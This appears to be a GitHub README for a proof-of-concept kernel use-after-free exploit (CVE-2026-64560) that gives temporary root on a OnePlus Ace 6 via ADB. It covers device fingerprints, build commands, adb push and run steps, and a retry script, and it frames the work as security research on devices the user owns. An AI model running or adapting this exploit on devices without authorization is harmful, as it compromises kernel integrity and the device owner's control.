Vulnerability CVE-2026-64560 (Linux kernel POSIX CPU timer UAF) on the OnePlus Ace 6
Verify the proof of concept. Based on NebuSec/CyberMeowfia, obtain temporary root permissions using the ADB shell for the current boot cycle.
> This is experimental kernel exploit code. It may cause the device to restart, corrupted kernel state, or data loss.
> Use this on only devices that you own or have explicit permission to test on. Please back up important data first. ## Target Device
| Fingerprint | `OnePlus/PLQ110/OP6113L1:16/BP2A.250605.015/B.22fcbb9_2e213f_224448:user/release-keys` |
| Kernel | `6.6.118-android15-8-g9bc34d5b0c79-abogki537459655-4k` |
| Stock boot SHA-256 | `a8463785c1f1a1e9c18f9e307b3bcd42eea28283dbd9593ecfeee64fbba9f84f` |
| Decoded Image SHA-256 | `ee5ee448d2985eeeb7a8b5ad2e1efc34eeb410a8beae0ab484504d739124d613` |
The kernel image is identical to OnePlus 13 (OP5D0DL1-BP2A.250605.015) (same SHA-256),
and shares the same GKI 6.6.118 baseline. The functions `timer_lock_sighand` and `cpu_timer_task_rcu` are absent from both the BTF and binary — this kernel is unpatched. All structure offsets are identical to the verified OP13 and Xiaomi 15 targets. The runner will reject devices with mismatched fingerprints and verify all payloads before execution. This repository does not contain firmware images, device keys, or unique device keys. ## Reproducibility
- The target device must have USB debugging enabled and be authorized
$NDK_ROOT/toolchains/llvm/prebuilt/*/bin/aarch64-linux-android35-clang \
-O2 -Wall -static -o cve-2026-64560-fanout-opace6 \
**Method B: Automatic compilation via GitHub Actions**
After pushing to the `main` branch, the CI will automatically build and download `cve-2026-64560-fanout-opace6` from the Artifacts on the Actions page. You can also manually trigger the workflow_dispatch. ### Step 2 — Push to the device
adb push cve-2026-64560-fanout-opace6 /data/local/tmp/
adb shell chmod 755 /data/local/tmp/cve-2026-64560-fanout-opace6
`adb shell /data/local/tmp/cve-2026-64560-fanout-opace6 --preflight`
PREFLIGHT_PASS profile=opace6-ee5ee448d2985 race_not_started=1 kernel_writes=0
If `TARGET_PROFILE_GATE_FAIL` is displayed, it indicates that the current firmware fingerprint does not match. ### Step 4 — Running the Exploit
`adb shell /data/local/tmp/cve-2026-64560-fanout-opace6 --run`
Running the exploit may require multiple attempts due to probabilistic kernel races. It is recommended to use the `boot-campaign` script for automatic retries.
sh scripts/boot-campaign.sh -s -p cve-2026-64560-fanout-opace6 -n 12
This script will automatically retry after the device temperature exceeds 55°C. ### Step 5 — Obtaining a Temporary Root Shell
After successful execution (output `ROOT_SUCCESS`), open a new terminal:
Run `id` and verify that the output is `uid=0(root)`. Root permissions are only valid for this startup; you need to run it again after restarting the device. The boot partition, vendor partition, and system partition will not be modified. ## Notes
1. **For vulnerability validation only** – Used solely for security research and authorized testing.
2. **Draft status** – This adaptation has not been officially tested on devices (`--preflight` was not run on real devices). The `race` parameter inherits from OP13, and may require device-specific tuning.
3. **physical_delta not confirmed** – `0x28000000` is inherited from other devices with the same GKI baseline; it needs to be confirmed on real devices using `--preflight`.
4. **Note for KSU users** – If the device has installed KernelSU, which modifies the kernel but still matches the fingerprint, the actual kernel may differ. Verification should be done using the original boot image. ## Repository Structure
| `src/exploit-fanout-opace6.c` | Source code for the OnePlus Ace 6 exploit |
| `profiles/opace6/ee5ee448d2985.json` | Profile of the target device (address, offset, metadata) |
| `scripts/boot-campaign.sh` | Automatic retry script (temperature control + cold start loop) |
| `tools/derive_profile.py` | Extracts physical memory layout from raw images |
| `tools/kallsyms_extract.py` | Extracts symbol tables from raw ARM64 images |
| `tools/btf_offsets.py` | Extracts structure offsets from the embedded BTF in the image |
| `.github/workflows/build.yml` | CI automated build workflow |
| `docs/UPSTREAM.md` | Documentation on upstream sources and patch submissions |
[`NebuSec/CyberMeowfia`]( Specific revisions and Linux fixes can be found in [`docs/UPSTREAM.md`](docs/UPSTREAM.md). This adaptation adheres to the upstream Apache License 2.0; see [`LICENSE`](LICENSE) and [`NOTICE`](NOTICE) for details.
[source-iocs-preserved url=
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
